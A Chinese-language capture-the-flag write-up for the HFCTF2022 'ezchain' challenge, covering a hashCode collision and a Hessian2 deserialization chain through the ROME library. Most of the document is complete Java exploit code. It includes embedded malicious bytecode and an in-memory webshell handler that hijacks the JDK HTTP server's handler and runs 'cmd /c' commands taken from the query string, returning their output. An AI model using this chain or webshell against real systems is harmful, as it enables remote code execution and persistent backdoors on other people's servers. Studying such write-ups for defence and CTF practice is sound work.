HFCTF2022 ezchain
前言
刚学了Hessian
反序列化,正好来做一下这道题,水文一篇。
分析
直接给了jar
包,反编译一下
代码不多,很容易看懂。大致流程就是传递一个token
参数,其值的hashcode
要与HFCTF2022
相同且不能为HFCTF2022
,然后就用Hessian2
反序列化请求体中的内容。
hash碰撞
首先是第一层,直接碰撞即可,这里给出一个可用的HFCTF200p
Hessian2反序列化
Hessian2
反序列化与Hessian
大致相同,所以只需要将序列化时使用的HessianOutput
改成Hessian2Output
。然后注意到有rome
依赖,考虑用Hessian
反序列化那条rome
的gadget
。
要注意的是,这里的rome
的版本是1.7.0
,之前自己复现的时候使用的是1.0
。在1.7.0中,一些类的路径改变了
1.0
1.7.0
然后看到docker-compose.yal
显而易见的不出网,就要使用之前分析的Hessian
反序列化结合rome
的不出网利用了,先简单构造一下弹计算器的EXP在本地测试一下
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import sun.security.provider.DSAPrivateKey;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class romeExp2 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException {
HashMap hashMapx=getObject();
//构造SignedObject对象
SignedObject signedObject=new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj= EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
/*ByteArrayOutputStream ser = new ByteArrayOutputStream();
Hessian2Output hessianOutput=new Hessian2Output(ser);
hessianOutput.writeObject(hashMap);
hessianOutput.close();
System.out.println(ser);*/
Hessian2Output hessianOutput1=new Hessian2Output(new FileOutputStream("./second.ser"));
hessianOutput1.writeObject(hashMap);
hessianOutput1.close();
//Hessian2Input hessianInput=new Hessian2Input(new FileInputStream("./second.ser"));
//hessianInput.readObject();
//HessianInput hessianInput=new HessianInput(new ByteArrayInputStream(ser.toByteArray()));
//hessianInput.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
//获取原生反序列化对象
public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
return hashMap;
}
}
成功执行命令
获取回显
虽然能够执行命令了,但是题目环境不出网,所以没办法反弹shell,只能想办法获取回显。回想学习内存马时分析的Tomcat获取回显的方法,要先看看有没有存储了Request
或者Response
的的全局变量,不过这里没有寻找到。又想到基本上需要的类在当前线程对象中都可以获取到
在线程对象中找了一圈没找到Request
对象,但是发现了handler
对象,把这里的handler
直接替换为恶意handler
应该就可以实现内存马一样的效果吧,简单构造一下
恶意handler
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.LinkedList;
public class testHandler extends AbstractTranslet implements HttpHandler {
{
ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();
try {
Field threadsf=threadGroup.getClass().getDeclaredField("threads");
threadsf.setAccessible(true);
Thread[] threads= (Thread[]) threadsf.get(threadGroup);
Thread thread=threads[1];
Field targetf=thread.getClass().getDeclaredField("target");
targetf.setAccessible(true);
Object target=targetf.get(thread);
Field f=Class.forName("sun.net.httpserver.ServerImpl$Dispatcher").getDeclaredField("this$0");
f.setAccessible(true);
Object serverimpl=f.get(target);
Field contextsf=Class.forName("sun.net.httpserver.ServerImpl").getDeclaredField("contexts");
contextsf.setAccessible(true);
Object contexts=contextsf.get(serverimpl);
Field listf=Class.forName("sun.net.httpserver.ContextList").getDeclaredField("list");
listf.setAccessible(true);
LinkedList list= (LinkedList) listf.get(contexts);
Object httpContextImpl=list.get(0);
Field handlerf=Class.forName("sun.net.httpserver.HttpContextImpl").getDeclaredField("handler");
handlerf.setAccessible(true);
handlerf.set(httpContextImpl,this);
} catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void handle(com.sun.net.httpserver.HttpExchange httpExchange) throws IOException {
String query=httpExchange.getRequestURI().getQuery();
String cmd=query.split("=")[1];
if(cmd!=null){
InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
httpExchange.sendResponseHeaders(200, new String(baos.toByteArray()).length());
OutputStream os = httpExchange.getResponseBody();
os.write(baos.toByteArray());
os.close();
}
}
}
EXP
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.security.provider.DSAPrivateKey;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class romeExp2 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException {
HashMap hashMapx=getObject();
//构造SignedObject对象
SignedObject signedObject=new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {
}
@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {
}
@Override
protected void engineUpdate(byte b) throws SignatureException {
}
@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {
}
@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}
@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}
@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {
}
@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj= EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
Hessian2Output hessianOutput1=new Hessian2Output(new FileOutputStream("./second.ser"));
hessianOutput1.writeObject(hashMap);
hessianOutput1.close();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
//获取原生反序列化对象
public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException {
//构造TemplatesImpl对象
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("testHandler");
byte[] bytecode=cc.toBytecode();
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"novic4");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");
obj.setAccessible(true);
equalsBean.setAccessible(true);
obj.set(equalsBean.get(objectBean),toStringBean);
return hashMap;
}
}
看一下效果
成功获取回显
[...]http://novic4.cn/index.php/archives/24.html[...]